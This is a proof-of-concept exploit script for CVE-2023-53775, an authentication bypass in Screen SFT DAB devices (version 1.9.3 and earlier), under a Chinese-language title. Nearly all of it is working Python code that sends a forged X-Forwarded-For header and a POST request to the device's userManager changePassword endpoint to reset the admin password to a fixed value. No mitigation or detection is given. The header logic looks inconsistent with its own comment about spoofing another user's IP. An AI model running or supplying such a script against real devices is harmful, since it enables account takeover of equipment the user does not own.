CVE-2023-53775 Screen SFT DAB 弱会话管理认证绕过漏洞

import requests import sys # CVE-2023-53775 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB <= 1.9.3 # Attack: Change user password via IP-bound session reuse def exploit(target_ip, target_port=8080): """ Exploit authentication bypass in Screen SFT DAB userManager API by reusing IP-bound session identifiers. Args: target_ip: Target device IP address target_port: Target web interface port (default: 8080) """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Obtain valid IP-bound session # Attacker spoofs the IP address of an authenticated user print(f"[*] Targeting Screen SFT DAB at {target_ip}:{target_port}") print("[*] Exploiting IP-bound session reuse vulnerability...") # Step 2: Craft password change request to userManager API # Using spoofed IP as session identifier headers = { 'X-Forwarded-For': target_ip, # IP spoofing for session reuse 'Content-Type': 'application/json', 'User-Agent': 'Screen-SFT-DAB-Client/1.9.3' } # Target userManager API endpoint api_endpoint = f"{base_url}/api/userManager/changePassword" # Password change payload payload = { "targetUser": "admin", "newPassword": "P@ssw0rd123!", "sessionIP": target_ip } print(f"[*] Sending password change request to {api_endpoint}") try: response = requests.post( api_endpoint, json=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200: print("[+] Password change successful!") print(f"[+] Admin password changed to: P@ssw0rd123!") print(f"[+] Login URL: {base_url}/login") return True else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)